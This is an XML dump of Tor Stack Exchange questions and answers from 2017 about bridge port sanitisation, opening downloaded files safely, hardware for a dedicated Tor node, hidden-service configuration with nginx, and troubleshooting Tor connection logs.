AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15973" PostTypeId="2" ParentId="15970" CreationDate="2017-10-23T02:10:51.023" Score="0" Body="&lt;p&gt;To avoid giving out information about the bridge. If the ORPort was on some high numbered or unusual port, for example, then an adversary who knows the port could perform an internet-wide scan to discover Tor instances running on that port, confirm the bridges identity and block the bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/19317&quot; rel=&quot;nofollow noreferrer&quot;&gt;#19317: Sanitize TCP ports in bridge descriptors&lt;/a&gt; for more information on how this is performed.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-23T02:10:51.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15974" PostTypeId="2" ParentId="15967" CreationDate="2017-10-23T02:23:53.960" Score="3" Body="&lt;p&gt;Yes, it is safe to download files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, it is almost never safe to &lt;em&gt;open&lt;/em&gt; them outside of Tor Browser or a special environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even non-executable files (documents, videos, audio files, etc) can be used to ping-back to some server on the internet and since the application opening them isn't going through Tor, you will connect outside of the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very old tactic of bugging files (sometimes government documents have such tracking in them, provided by a DLP contractor), so that if they are opened they can discover who opened them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it is safe to download file over Tor, at least about as safe as downloading them on a shared or public wireless network, for example but it is definitely not safe to open them and it will harm your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://media.ccc.de/v/camp2015-6779-bugged_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;This presentation&lt;/a&gt; from 2015 shows a few examples of such techniques, although it is not at all extensive. There are plenty it doesn't cover either. These methods have been successfully used to deanonymize Tor users before, as well as deanonymizing state sponsored hackers targeting journalists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser actually has an explicit warning about this before you download any files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a Qubes Disposable VM, Tails or Whonix to open files after you've downloaded them will help mitigate many of the risks (against leaks through normal operation of the file type) but not always against exploitation.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-23T02:23:53.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15976" PostTypeId="1" CreationDate="2017-10-23T16:41:29.023" Score="0" ViewCount="2602" Body="&lt;p&gt;What is the system requirements, including OS, for a system dedicated only to TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="19602" LastActivityDate="2019-08-18T07:02:50.400" Title="System requirement for Dedicated TOR system" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15977" PostTypeId="2" ParentId="15976" CreationDate="2017-10-23T17:03:05.243" Score="1" Body="&lt;p&gt;As for my experience, a minimal requirements are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fast single-core or recent dual-core CPU 500MHz+&lt;/li&gt;&#xA;&lt;li&gt;512Mb of RAM&lt;/li&gt;&#xA;&lt;li&gt;100MBit/s ethernet card&lt;/li&gt;&#xA;&lt;li&gt;4Gb storage&lt;/li&gt;&#xA;&lt;li&gt;Linux kernel v4 or recent FreeBSD minimal distro&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As a sample you can use yourself - it's a Raspberry Pi 2 - cheap and decent one. From ARM single-board computers, however, I do recommend to use OrangePi or BananaPi - nearly-same price, a way better hardware( like Allwinner H3 quad-core CPU and 1Gb+ RAM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you describe your task more specifically - I'll be able to advise you better and help you to set it up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as for the task you have described, the proposed solution is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A single-board computer, I do recommend &lt;a href=&quot;https://www.aliexpress.com/store/product/Orange-Pi-Prime-Development-Board-H5-Quad-core-Support-linux-and-android-Beyond-Raspberry-Pi-2/1553371_32803048527.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OrangePi Prime&lt;/a&gt; with a power usb cord(included in link above). I'm using the predecessor of it's predecessor - Orange Pi PC, still working, very good and fast. Well, you can pick Raspberry Pi 2 or 3 - but it will cost you the same and be a way slower in a &quot;horsepower&quot;.&lt;/li&gt;&#xA;&lt;li&gt;A heatsink for single-board computer. If you choose any of the SBC's - all of them do have CPU, and like any CPU it needs cooling. I was starting using cooling from &lt;a href=&quot;http://www.deepcool.com/product/dcoolingaccessory/accessory/2013-12/48_650.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Deepcool NBridge2&lt;/a&gt; chipset coolers, then found this &lt;a href=&quot;https://www.aliexpress.com/item/2-Sets-Aluminium-Heatsink-Cooler-W-Fan-40x20mm-For-PC-Northbridge-Chipset-Cooling-Wholesale/32484780188.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;chipset cooler&lt;/a&gt;. You can pick any of them - they're absolutely equal, both tested. To properly fit it on the SBC CPU and it's surrounding chips - just use an iron file to cut off the extra parts of &quot;iron pad&quot; of the cooler. Place it to cover the CPU and to mae no shorts - thermal grease of a good quality is included in both cases. &lt;strong&gt;A word of warning&lt;/strong&gt;: &lt;em&gt;do&lt;/em&gt; &lt;strong&gt;not&lt;/strong&gt; &lt;em&gt;buy cheap/tiny passive coolers for SBC's - you'll make it short-living and slowing itself down because of overheating! This chipset cooler costs 3-5$ above them, but it's worth the price, the difference is huge&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;A USB 5-to-12V step-up adapter - to fire-up the cooler, you'll neet 12 Volts, USB has only 5V, so - there's a lot of power converters e.t.c., I'm using &lt;a href=&quot;https://www.aliexpress.com/item/2pcs-DC-DC-USB-Step-Up-Power-Supply-Boost-Converter-5V-to-12V-5W/32691220622.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; - works for 1.5+ years, no problems at all, powers up 2 NBridge 2 coolers all this time 24/7. If you do not plan to have any additional SBC's, then you can just solder a cooler's wires to this adapter and be fine. If you do plan or &quot;maybe&quot; to expand the number of the coolers powered - take &lt;a href=&quot;https://www.aliexpress.com/item/10-pcs-3-Pin-to-2-x-2-pin-3-pin-300mm-Cooling-fan-Y-Splitter/1887359918.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this splitter pack&lt;/a&gt; and make a jack with pins to be connected to the power adapter - and just plug the cooler(or coolers if multiple) to the adapter.&lt;/li&gt;&#xA;&lt;li&gt;A patch cord - it's up to your taste! use a decent Cat 5e one - and be just fine about that! you put it to the place where your router stands, so it will work 24/7 eating 5-7Watts per hour and always ready for your requests. just plug it into your router - and you're done!&lt;/li&gt;&#xA;&lt;li&gt;A 2-port USB power - or 1 Port - use &lt;strong&gt;ANY&lt;/strong&gt; normal usb phone charger capable of giving 2-3 amps. If one port charger is used for case with one sbc - then just plug 5-to-12v into the board's USB port and power up the USB power cord(included with SBC I've linked, for Raspberry Pi see the cables). Apple charger from iPhone 4s was just fine, for example. If you'll have multiple boards - take a look at multi-homed USB chargers: you need just a regular one with at least 2-3 amps &lt;em&gt;per outlet&lt;/em&gt;. For big quantities of boards I do recommend this &lt;a href=&quot;https://www.aliexpress.com/store/product/ORICO-10-Ports-Multi-120W-5V2-4A-10-USB-Charger-Station-Dock-with-Holder-for-Phone/105327_32758526424.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multi-port docking charger&lt;/a&gt;, for small amount(1-3) of SBCs take a look at &lt;a href=&quot;https://www.aliexpress.com/item/QC3-0-charger-usb-charging-head-multi-port-usb-charger-travel-charger/32820338448.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;smaller multi-port chargers&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After the hardware part is done - just install minimal Debian on it, and tor node as well - and that's it! If you need further help - just drop me a line!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-10-26T17:58:03.880" LastActivityDate="2017-10-26T17:58:03.880" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="15979" PostTypeId="2" ParentId="15972" CreationDate="2017-10-23T17:35:07.677" Score="0" Body="&lt;p&gt;Well, the question is multi-part, and the final answer will depend on how you're making the combo in your particular case, here you go:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Running VPN and Tor node on the same VPS has nothing to do with security or privacy degrading: it's absolutely safe &lt;strong&gt;by itself&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remember, that VPN is a &lt;strong&gt;strict&lt;/strong&gt; &lt;em&gt;and&lt;/em&gt; &lt;strong&gt;direct&lt;/strong&gt; service, i.e. if something is connecting to a VPN server - so it's a 100% clear that it's a VPN client and nothing else. So :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if you'll connect to the VPN via clearnet Internet - yes, your IP and VPS IP are corellated.&lt;/li&gt;&#xA;&lt;li&gt;if your VPN is listening to darknet(dot-onion) address only - it's not binding your IP to VPS IP due to the nature of the Tor hidden services&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-23T17:35:07.677" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15980" PostTypeId="2" ParentId="15971" CreationDate="2017-10-23T17:39:46.867" Score="1" Body="&lt;p&gt;Well, using antivirus when using Tor is a &lt;strong&gt;bad practice&lt;/strong&gt; - but if you need this(sometimes it has it's uses and the problems AV makes are counterweighted by the tasks it solves) - use a proper antivirus. I do &lt;strong&gt;not&lt;/strong&gt; recommend using Avas, Eset(NOD32 and other crap from them), Kaspersky(it spies on you in open, it's a malware, not antivirus), Symantec and Panda. What I do recommend is BitDefender and Sophos(enterprise version). But &lt;strong&gt;only&lt;/strong&gt; if you &lt;strong&gt;really&lt;/strong&gt; need it and you know what you're doing!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-23T17:39:46.867" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15982" PostTypeId="2" ParentId="15680" CreationDate="2017-10-24T03:05:33.147" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B8YTB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B8YTB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this, I searched everywhere for an answer but couldn't find one, anyways I clicked the checked file  and now TOR works&lt;/p&gt;&#xA;" OwnerUserId="19607" LastActivityDate="2017-10-24T03:05:33.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15985" PostTypeId="1" CreationDate="2017-10-24T17:08:08.600" Score="1" ViewCount="426" Body="&lt;p&gt;I'm new to the amazing hidden world of hidden web. I'm getting some difficulties to understand how things work in there. I have heard that there are many resources in the deep web such as gaming hacks, exclusive things and other stuff like that.&lt;br&gt; The problem is that I can't find them on the deep web. I don't know why! Maybe some invite Links are needed.&lt;br&gt; &lt;strong&gt;If really such links are needed then can anyone please help me in getting access to them freely?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="19610" LastEditorUserId="18504" LastEditDate="2017-11-26T12:46:02.117" LastActivityDate="2017-11-26T12:46:02.117" Title="Beginner to Darknet" Tags="|help|darknet|" AnswerCount="1" CommentCount="1" ClosedDate="2017-10-29T08:38:37.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="15989" PostTypeId="1" AcceptedAnswerId="16006" CreationDate="2017-10-25T18:38:31.367" Score="0" ViewCount="247" Body="&lt;p&gt;I've heard that government agencies et al. have not been able to crack Tor. Why have they been unable? What would one have to do to crack Tor? Are there any Tor &quot;stress tests&quot;?&lt;/p&gt;&#xA;" OwnerUserId="7643" LastActivityDate="2017-10-28T20:36:55.697" Title="How could Tor be cracked?" Tags="|security|vulnerability|" AnswerCount="1" CommentCount="1" ClosedDate="2017-10-29T08:42:48.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="15990" PostTypeId="2" ParentId="12610" CreationDate="2017-10-25T21:46:38.403" Score="1" Body="&lt;p&gt;For reference, I did just this and forwarded a Hidden Service to my e-mail provider gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is running on an Ubuntu 16.04 server, but should work with really anything with nginx and tor on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configuration is pretty easy, I've just got the defaults in the &lt;code&gt;/etc/nginx/nginx.conf&lt;/code&gt; file. Then in a new file &lt;code&gt;/etc/nginx/sites-enabled/mail-reverse.conf&lt;/code&gt; I've got: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    listen 8880;&#xA;    location / {&#xA;        proxy_pass https://webmail.emailsrvr.com/;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, in &lt;code&gt;/etc/tor/torrc&lt;/code&gt; I've got this added: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/mail&#xA;HiddenServicePort 80 127.0.0.1:8880&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I can connect to the hostname in &lt;code&gt;/var/lib/tor/mail/hostname&lt;/code&gt; through Tor Browser and I get my webmail service - and as far as the provider sees, I only ever connect from my home IP address (which is where the hidden service is hosted). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it's not perfect - in Tor Browser, I can see most of the requests got to the .onion site, but there are still a lot of other requests to the &quot;normal&quot; domains that make the site work (i.e. static resources like images and styles). I guess in this case, the page was able to work with just this simple config - I'm sure there would be more complex sites that might not work. &lt;/p&gt;&#xA;" OwnerUserId="10731" LastActivityDate="2017-10-25T21:46:38.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15994" PostTypeId="2" ParentId="15939" CreationDate="2017-10-26T23:05:54.173" Score="0" Body="&lt;p&gt;Hello and good time of day! the &lt;code&gt;-f&lt;/code&gt; key for tor binary is a key that makes tor use the specifically located config, not the config from location it considers to be a default one(this folder path can be specified when tor is compiled). a very simple explaination is that &lt;em&gt;regardless&lt;/em&gt; of the default paths and, pehaps, configs installed with tor, you're explicitly telling Tor what you want. In example, you have in &lt;code&gt;/etc&lt;/code&gt; folder a file named &lt;code&gt;torconfig.cfg&lt;/code&gt; for your custom settings, so the tor execution line will be &lt;code&gt;tor -f /etc/torconfig.cfg&lt;/code&gt;. Why not just &lt;code&gt;tor -f torconfig.cfg&lt;/code&gt;? Because it will look for the file &lt;code&gt;torconfig.cfg&lt;/code&gt; in the &lt;em&gt;current folder&lt;/em&gt; that can be quite different depending on how and where from tor is executed, and when you're writing path starting with a leading slash - it makes it clear and pointing to the exact specific file &lt;em&gt;regardless&lt;/em&gt; of where from and how the tor is executed. a good howto about relative and absolute paths can be found &lt;a href=&quot;https://www.linux.com/blog/absolute-path-vs-relative-path-linuxunix&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-26T23:05:54.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15995" PostTypeId="1" CreationDate="2017-10-27T01:15:48.007" Score="0" ViewCount="152" Body="&lt;p&gt;Obviously, the original IP address of the TOR user isn't available to the website they are viewing, but when the website responds back to the exit node, what information is the exit node maintaining that allows it to route back to the user? How is that response communication structured such that a malicious exit node isn't trivially able to de-anonymize the user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19585" LastActivityDate="2017-10-28T20:24:36.407" Title="How does TOR route back to the originator while maintaining privacy?" Tags="|exit-relays|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2017-10-29T08:40:25.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="15996" PostTypeId="1" AcceptedAnswerId="15997" CreationDate="2017-10-27T02:03:59.040" Score="0" ViewCount="135" Body="&lt;p&gt;Does Yahoo own Tor? Sorry I am a noob when it comes to Tor and yahoo. I did hear about Firefox and mozilla, but are these owned by Yahoo?&lt;/p&gt;&#xA;" OwnerUserId="19642" LastActivityDate="2017-10-27T02:28:51.907" Title="Does Yahoo own Tor?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15997" PostTypeId="2" ParentId="15996" CreationDate="2017-10-27T02:28:51.907" Score="2" Body="&lt;p&gt;Yahoo does not own Firefox or Mozilla. &lt;a href=&quot;https://en.wikipedia.org/wiki/Firefox&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firefox is created by Mozilla&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Mozilla_Corporation#Yahoo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yahoo pays Mozilla to be the default search engine&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor and the Tor Browser are created by &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Tor_Project,_Inc&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Tor Project&lt;/a&gt;. The &lt;a href=&quot;https://en.wikipedia.org/wiki/Tor_(anonymity_network)#Tor_Browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser uses a modified version of Mozilla Firefox as it's base&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither of them are owned by Yahoo.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-27T02:28:51.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15998" PostTypeId="2" ParentId="15953" CreationDate="2017-10-27T03:17:16.473" Score="1" Body="&lt;p&gt;Yes, it is unsigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signing was originally added by ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/3861&quot; rel=&quot;nofollow noreferrer&quot;&gt;#3861&lt;/a&gt; however this only signed the installer and not all the binaries inside of the installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a ticket created from that, &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15687&quot; rel=&quot;nofollow noreferrer&quot;&gt;#15687&lt;/a&gt; which was considering signing all the binaries to make it compatible with the &lt;a href=&quot;https://technet.microsoft.com/en-us/library/dd759117(v=ws.11).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows AppLocker&lt;/a&gt; security mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this has been considered but it seems to have stalled some years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One consideration might be that signing binaries break reproducable builds, since signing the binary in done within the executable file itself, it changes the data and any cryptographic hash of the file. If someone else tried to create a &lt;code&gt;firefox.exe&lt;/code&gt; by following the Tor Browser build process, the end result they received would look different from that which the Tor Project distributes making it hard to verify that the distributed version matches the reproducible build.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-27T03:17:16.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15999" PostTypeId="1" CreationDate="2017-10-27T12:50:23.660" Score="0" ViewCount="1062" Body="&lt;p&gt;I have updated Tor to 7.0.7, from 7.0.6. I get the error messages below:&#xA;'Tor failed to establish a Tor network connection.&#xA;Establishing an encrypted directory connection failed (done - 212.83.154.33:8443).'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;O/S Windows 7 Pro 64 bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also run IVPN at the same time as wanting to connect Tor. Tor does not run all the time and it connects to one website only. When finished working on that account, I disconnect it.&#xA;I have deleted Microsoft Security Essentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have deleted and reinstalled Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have opened the command line using the link and get a response: '.' or 'start-tor-browser' is not recognised as an internal or external command, operable program or batch file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system clock is set to the correct time.&#xA;I deleted Tor 7.0.7 then downloaded and installed version 7.0.8 and this: Establishing an encrypted directory connection failed (done - 194.109.206.212:443)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, deleted Microsoft Security Essentials and Tor Browser, restarted computer, installed 7.0.8 and:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Establishing an encrypted directory connection failed (connection timeout - 193.23.244.244:443).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stopping IVPN, deleting Tor, adding Tor to Windows firewall&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Establishing an encrypted directory connection failed (done - 86.59.21.38:443).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did this,&#xA;add the following code to the end of the file:&#xA;UseBridges 1&#xA;Bridge ip.ad.dr.ess:port abcd1234hash&#xA;Bridge ip.ad.dr.ess:port abcd1234hash&#xA;Bridge ip.ad.dr.ess:port abcd1234hash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from Andrew Lott♦ and Ali Torabi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;27/10/2017 12:04:31 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/10/2017 12:04:31 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/10/2017 12:04:31 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/10/2017 12:04:31 PM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;27/10/2017 12:04:31 PM.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;27/10/2017 12:04:32 PM.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;27/10/2017 12:05:44 PM.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host ABF7FBF389C9A747938B639B20E80620B460B2A9 at 109.163.234.9:443) &#xA;27/10/2017 12:05:44 PM.600 [WARN] 9 connections have failed: &#xA;27/10/2017 12:05:44 PM.600 [WARN]  7 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/10/2017 12:05:44 PM.600 [WARN]  2 connections died in state connect()ing with SSL state (No SSL object) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Log 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;27/10/2017 12:20:05 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/10/2017 12:20:05 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/10/2017 12:20:05 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/10/2017 12:20:05 PM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;27/10/2017 12:20:05 PM.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;27/10/2017 12:20:05 PM.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;27/10/2017 12:21:04 PM.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 39F096961ED2576975C866D450373A9913AFDC92 at 198.50.191.95:443) &#xA;27/10/2017 12:21:04 PM.600 [WARN] 10 connections have failed: &#xA;27/10/2017 12:21:04 PM.600 [WARN]  8 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;27/10/2017 12:21:04 PM.600 [WARN]  2 connections died in state connect()ing with SSL state (No SSL object) &#xA;27/10/2017 12:21:06 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;27/10/2017 12:21:06 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/10/2017 12:21:06 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;27/10/2017 12:21:06 PM.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19638" LastEditorUserId="9291" LastEditDate="2017-10-28T23:08:27.593" LastActivityDate="2017-11-21T21:12:52.137" Title="Tor failed to establish a Tor network connection. O/S Windows 7 Pro 64 bit" Tags="|windows|tor-install|connection|" AnswerCount="1" CommentCount="0" ClosedDate="2017-11-23T07:57:45.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="16001" PostTypeId="1" CreationDate="2017-10-27T19:49:32.687" Score="0" ViewCount="1679" Body="&lt;p&gt;In AdvOR I can set circuit length.&#xA;Can I set it in normal tor configuration file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i read tor faq , and i dont find answer.&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19650" LastActivityDate="2018-12-23T12:01:05.187" Title="Change default circuit length?" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16003" PostTypeId="1" AcceptedAnswerId="16004" CreationDate="2017-10-28T11:40:17.810" Score="0" ViewCount="1735" Body="&lt;p&gt;I have configured Tor to run as a Windows service, it seems to be working as it is producing logs. I have configured it to run on 9990. I have configured Firefox proxy to use it, however when I check my configuration at &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt;, it fails and shows my actual IP. I am running Windows 10 and ESET Smart Security. I have tried running it on default port by commenting out &amp;quot;+SocksPort 9990&amp;quot; but still the same results.&lt;/p&gt;&#xA;&lt;p&gt;Following are the log and configuration:&lt;/p&gt;&#xA;&lt;p&gt;TORRC File:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory [***Masked***]\Tor&#xA;+SocksPort 9990&#xA;&#xA;UseBridges 1&#xA;Bridge obfs4 xxx.xxx.xxx.xxx:xxxx 8IGTG2XNP642NEQPZ3M2LLLWWKE8FL3CXOJPTRR7 cert=S29Sp2A+5YL083RFGTKADQ3GW/9S29Sp2A5YL083RFGTKADQ3GW/9S29Sp2AE5YL083RF iat-mode=0 #Example Bridge#&#xA;&#xA;ClientTransportPlugin fte exec [***Masked***]\PluggableTransports\fteproxy --managed&#xA;&#xA;ClientTransportPlugin obfs2,obfs3,obfs4,scramblesuit exec [***Masked***]\PluggableTransports\obfs4proxy&#xA;&#xA;ClientTransportPlugin meek exec [***Masked***]\PluggableTransports\terminateprocess-buffer [***Masked***]\PluggableTransports\meek-client-torbrowser -- [***Masked***]\PluggableTransports\meek-client&#xA;&#xA;GeoIPFile [***Masked***]\Tor\geoip&#xA;GeoIPv6File [***Masked***]\Tor\geoip6&#xA;Log notice file [***Masked***]\Tor\notice.log&#xA;&#xA;MaxCircuitDirtiness 100&#xA;ExitNodes {gb},{us}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Log File:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Sep 28 22:39:19.000 [notice] Got stop/shutdown request; shutting down cleanly.&#xA;Sep 28 22:41:32.000 [notice] Tor [***Masked***]ver (git-6babd3d9ba9318b3) opening log file.&#xA;Sep 28 22:41:32.148 [notice] Tor [***Masked***]ver (git-6babd3d9ba9318b3) running on Windows 8 with Libevent 2.0.22-stable, OpenSSL 1.0.2k, Zlib 1.2.8, Liblzma N/A, and Libzstd N/A.&#xA;Sep 28 22:41:32.150 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 28 22:41:32.175 [notice] Read configuration file &amp;quot;[***Masked***]\torrc&amp;quot;.&#xA;Sep 28 22:41:32.182 [notice] Opening Socks listener on 127.0.0.1:9990&#xA;Sep 28 22:41:32.000 [notice] Parsing GEOIP IPv4 file [***Masked***]\geoip.&#xA;Sep 28 22:41:32.000 [notice] Parsing GEOIP IPv6 file [***Masked***]\geoip6.&#xA;Sep 28 22:41:32.000 [notice] Bootstrapped 0%: Starting&#xA;Sep 28 22:41:34.000 [notice] Starting with guard context &amp;quot;bridges&amp;quot;&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at 